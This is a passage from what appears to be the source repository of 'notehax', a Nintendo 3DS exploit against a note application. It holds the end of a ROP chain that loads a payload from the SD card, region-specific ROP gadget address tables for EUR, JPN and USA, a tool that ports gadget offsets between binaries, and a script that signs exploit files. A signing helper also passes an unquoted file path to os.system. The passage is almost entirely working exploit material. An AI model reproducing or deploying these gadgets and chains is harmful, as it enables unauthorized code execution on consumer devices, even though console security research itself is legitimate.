MAIN_THREAD_POP_PTR) 78 | store_byte(0x1, MAIN_THREAD_BREAK) 79 | 80 | add_word(SVC_EXITTHREAD) 81 | 82 | put_label("bytes_read") 83 | add_word(0x0) 84 | 85 | put_label("context") 86 | fill(0x20, 0) 87 | 88 | put_label("file_size") 89 | add_word(0x0) 90 | add_word(0x0) 91 | 92 | put_label("sdmc_string") 93 | add_ascii("sdmc:\0\0\0") 94 | 95 | put_label("file_path") 96 | add_utf16("sdmc:/notehax/initial.bin\0") 97 | -------------------------------------------------------------------------------- /ropdb/EUR.py: -------------------------------------------------------------------------------- 1 | ROP_DEST = 0x14655D60 - 0x4 2 | ROP_OFFSET_KSN = 0xEF1AC 3 | 4 | MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x148938 5 | 6 | NOP = 0x142390 7 | 8 | POP_R4LR_BX_R1 = 0x102190 9 | POP_R0PC = 0x2420B8 10 | POP_R1PC = 0x24C158 11 | POP_R3PC = 0x103C00 12 | POP_R4PC = 0x100270 13 | POP_R11PC = 0x129714 14 | POP_R4R5PC = 0x100A90 15 | POP_R4R6PC = 0x29FA40 16 | POP_R0R1R2R3R4PC = 0x15545C 17 | POP_R1R2R3R4R5PC = 0x320E34 18 | POP_R1R2R3R4R5R6R7PC = 0x158058 19 | POP_R3R4R5R6R7R8R9PC = 0x2CEE4C 20 | POP_R4R5R6R7R8R9R10R11PC = 0x13919C 21 | POP_R4R5R6R7R8R9R10R11R12PC = 0x2DD908 22 | 23 | LDR_R0R0_POP_R4PC = 0x1338A8 24 | LDR_R0R0_STR_R0R1_POP_R4PC = 0x115E30 25 | STR_R0R1_POP_R4PC = LDR_R0R0_STR_R0R1_POP_R4PC+0x4 26 | STRB_R0R4_POP_R4PC = 0x100CB0 27 | 28 | ADD_R0R0R4_POP_R4PC = 0x249E88 29 | 30 | SUB_SPSPR3_MOV_R1SP_STR_R3SP_MIN4INC_BLX_R2 = 0x143D8C 31 | 32 | CMP_R0R1_MOVGT_R0_1_MOVLE_R0_0_POP_R4PC = 0x21D3B8 33 | 34 | STREQ_R0R4_2C_POP_R4PC = 0x2587A4 35 | 36 | LMSI_MEMCMP = 0x1344EC 37 | 38 | GSPGPU_GXTRYENQUEUE = 0x24A304 39 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x12B258 40 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x12B348 41 | GSPGPU_FLUSHDATACACHE = 0x1308BC 42 | GSPGPU_GXCMD4 = 0x12B448 43 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x003A6C40 44 | GSPGPU_HANDLE = 0x3C7D0C 45 | 46 | FS_MOUNTSDMC = 0x25F800 47 | FS_TRYOPENFILE = 0x25EE14 48 | FS_TRYGETSIZE = 0x25EDBC 49 | FS_CLOSEFILE = 0x25EEA8 50 | FS_TRYREADFILE = 0x10E3D0 51 | FSUSER_HANDLE = 0x3B6430 52 | 53 | DSP_UNLOADCOMPONENT = 0x11DE30 54 | DSP_REGISTERINTERRUPTEVENTS = 0x11DEFC 55 | DSP_HANDLE = 0x3B63E4 56 | 57 | SVC_SLEEPTHREAD = 0x24C168 58 | SVC_EXITTHREAD = 0x11BF88 59 | 60 | MAIN_THREAD_BREAK = 0x154D9D00 + 0x8 61 | MAIN_THREAD_POP_PTR = 0x0FFFFCE4 62 | 63 | THREAD1_BREAK = 0x3A6C40 + 0x77 64 | -------------------------------------------------------------------------------- /ropdb/JPN.py: -------------------------------------------------------------------------------- 1 | ROP_DEST = 0x1464F300 - 0x4 2 | ROP_OFFSET_KSN = 0xEF1AC 3 | 4 | ADD_R0R0R4_POP_R4PC = 0x250290 5 | 6 | CMP_R0R1_MOVGT_R0_1_MOVLE_R0_0_POP_R4PC = 0x21d644 7 | 8 | DSP_REGISTERINTERRUPTEVENTS = 0x11db70 9 | DSP_UNLOADCOMPONENT = 0x11dadc 10 | DSP_HANDLE = 0x3D2B94 11 | 12 | FS_CLOSEFILE = 0x26a2a4 13 | FS_MOUNTSDMC = 0x26aaf8 14 | FS_TRYGETSIZE = 0x26a1b8 15 | FS_TRYOPENFILE = 0x26a210 16 | FS_TRYREADFILE = 0x10e53c 17 | FSUSER_HANDLE = 0x3D2C28 18 | 19 | GSPGPU_FLUSHDATACACHE = 0x12b6d8 20 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x1266cc 21 | GSPGPU_GXCMD4 = 0x1267cc 22 | GSPGPU_GXTRYENQUEUE = 0x250728 23 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x1265DC 24 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x3C0C40 25 | GSPGPU_HANDLE = 0x3E477C 26 | 27 | LDR_R0R0_POP_R4PC = 0x12e8d4 28 | LDR_R0R0_STR_R0R1_POP_R4PC = 0x115cb8 29 | LMSI_MEMCMP = 0x12f3c0 30 | 31 | MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x14356c 32 | 33 | NOP = 0x100b4c 34 | 35 | POP_R0PC = 0x249244 36 | POP_R0R1R2R3R4PC = 0x159358 37 | POP_R11PC = 0x124a1c 38 | POP_R1PC = 0x252618 39 | POP_R1R2R3R4R5PC = 0x3395d4 40 | POP_R1R2R3R4R5R6R7PC = 0x15bf54 41 | POP_R3PC = 0x103c8c 42 | POP_R3R4R5R6R7R8R9PC = 0x1046e8 43 | POP_R4LR_BX_R1 = 0x1021c0 44 | POP_R4PC = 0x100270 45 | POP_R4R5PC = 0x100ac0 46 | POP_R4R5R6R7R8R9R10R11PC = 0x101710 47 | POP_R4R5R6R7R8R9R10R11R12PC = 0x11a310 48 | POP_R4R6PC = 0x2976d4 49 | 50 | STRB_R0R4_POP_R4PC = 0x100ce0 51 | STREQ_R0R4_2C_POP_R4PC = 0x26394c 52 | STR_R0R1_POP_R4PC = 0x115cbc 53 | SUB_SPSPR3_MOV_R1SP_STR_R3SP_MIN4INC_BLX_R2 = 0x13e5b4 54 | 55 | SVC_EXITTHREAD = 0x11bb94 56 | SVC_SLEEPTHREAD = 0x25e71c 57 | 58 | MAIN_THREAD_BREAK = 0x154D9D00 + 0x8 59 | MAIN_THREAD_POP_PTR = 0x0FFFFCE4 60 | 61 | THREAD1_BREAK = 0x3C0C40 + 0x77 62 | -------------------------------------------------------------------------------- /ropdb/USA.py: -------------------------------------------------------------------------------- 1 | ROP_DEST = 0x146539E0 - 0x4 2 | ROP_OFFSET_KSN = 0xEF1AC 3 | 4 | MOV_SP_R0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x148938 5 | 6 | NOP = 0x142390 7 | 8 | POP_R4LR_BX_R1 = 0x102190 9 | POP_R0PC = 0x2420B8 10 | POP_R1PC = 0x24C158 11 | POP_R3PC = 0x103C00 12 | POP_R4PC = 0x100270 13 | POP_R11PC = 0x129714 14 | POP_R4R5PC = 0x100A90 15 | POP_R4R6PC = 0x29FA40 16 | POP_R0R1R2R3R4PC = 0x15545C 17 | POP_R1R2R3R4R5PC = 0x320E34 18 | POP_R1R2R3R4R5R6R7PC = 0x158058 19 | POP_R3R4R5R6R7R8R9PC = 0x2CEE4C 20 | POP_R4R5R6R7R8R9R10R11PC = 0x13919C 21 | POP_R4R5R6R7R8R9R10R11R12PC = 0x2DD908 22 | 23 | LDR_R0R0_POP_R4PC = 0x1338A8 24 | LDR_R0R0_STR_R0R1_POP_R4PC = 0x115E30 25 | STR_R0R1_POP_R4PC = LDR_R0R0_STR_R0R1_POP_R4PC+0x4 26 | STRB_R0R4_POP_R4PC = 0x100CB0 27 | 28 | ADD_R0R0R4_POP_R4PC = 0x249E88 29 | 30 | SUB_SPSPR3_MOV_R1SP_STR_R3SP_MIN4INC_BLX_R2 = 0x143D8C 31 | 32 | CMP_R0R1_MOVGT_R0_1_MOVLE_R0_0_POP_R4PC = 0x21D3B8 33 | 34 | STREQ_R0R4_2C_POP_R4PC = 0x2587A4 35 | 36 | LMSI_MEMCMP = 0x1344EC 37 | 38 | GSPGPU_GXTRYENQUEUE = 0x24A304 39 | GSPGPU_GXTRYENQUEUE_WRAPPER = 0x12B258 40 | GSPGPU_FLUSHDATACACHE_WRAPPER = 0x12B348 41 | GSPGPU_FLUSHDATACACHE = 0x1308BC 42 | GSPGPU_GXCMD4 = 0x12B448 43 | GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x003A6C40 44 | GSPGPU_HANDLE = 0x3C7D0C 45 | 46 | FS_MOUNTSDMC = 0x25F800 47 | FS_TRYOPENFILE = 0x25EE14 48 | FS_TRYGETSIZE = 0x25EDBC 49 | FS_CLOSEFILE = 0x25EEA8 50 | FS_TRYREADFILE = 0x10E3D0 51 | FSUSER_HANDLE = 0x3B6430 52 | 53 | DSP_UNLOADCOMPONENT = 0x11DE30 54 | DSP_REGISTERINTERRUPTEVENTS = 0x11DEFC 55 | DSP_HANDLE = 0x3B63E4 56 | 57 | SVC_SLEEPTHREAD = 0x24C168 58 | SVC_EXITTHREAD = 0x11BF88 59 | 60 | MAIN_THREAD_BREAK = 0x154D9D00 + 0x8 61 | MAIN_THREAD_POP_PTR = 0x0FFFFCE4 62 | 63 | THREAD1_BREAK = 0x3A6C40 + 0x77 64 | 65 | -------------------------------------------------------------------------------- /utils/portRopDb.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import re 3 | import runpy 4 | 5 | BASE_ADDR = 0x100000 6 | cmdargs = sys.argv 7 | 8 | src_codebin = open(cmdargs[1], 'rb').read() 9 | dst_codebin = open(cmdargs[2], 'rb').read() 10 | out_db = open(cmdargs[4], 'w') 11 | 12 | glob = runpy.run_path(cmdargs[3]) 13 | gadgets = list(glob.keys() - globals().keys()) 14 | gadgets.sort() 15 | 16 | letter = gadgets[0][0] 17 | 18 | for g in gadgets: 19 | found = False 20 | while not found: 21 | print("Size of (in instructions, 0 to skip) : " + g + " ?") 22 | size = int(input()) 23 | if size == 0: 24 | found = True 25 | continue 26 | offset = glob[g] - BASE_ADDR 27 | pattern = src_codebin[offset:offset+4*size] 28 | new_off = dst_codebin.find(pattern) 29 | if new_off >= 0: 30 | if g[0] != letter: 31 | letter = g[0] 32 | out_db.write("\n") 33 | out_db.write(g + " = " + hex(new_off+BASE_ADDR) + "\n") 34 | found = True 35 | print("OK") 36 | else: 37 | print("NOT FOUND") 38 | -------------------------------------------------------------------------------- /utils/signKWZ.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | cmdargs = sys.argv 5 | 6 | file_path = cmdargs[1] 7 | os.system("openssl dgst -sha256 -sign key.pem -out signature.bin " + file_path) 8 | 9 | signature = open("signature.bin", "rb").read() 10 | open(file_path, "ab").write(signature) 11 | os.remove("signature.bin") 12 | --------------------------------------------------------------------------------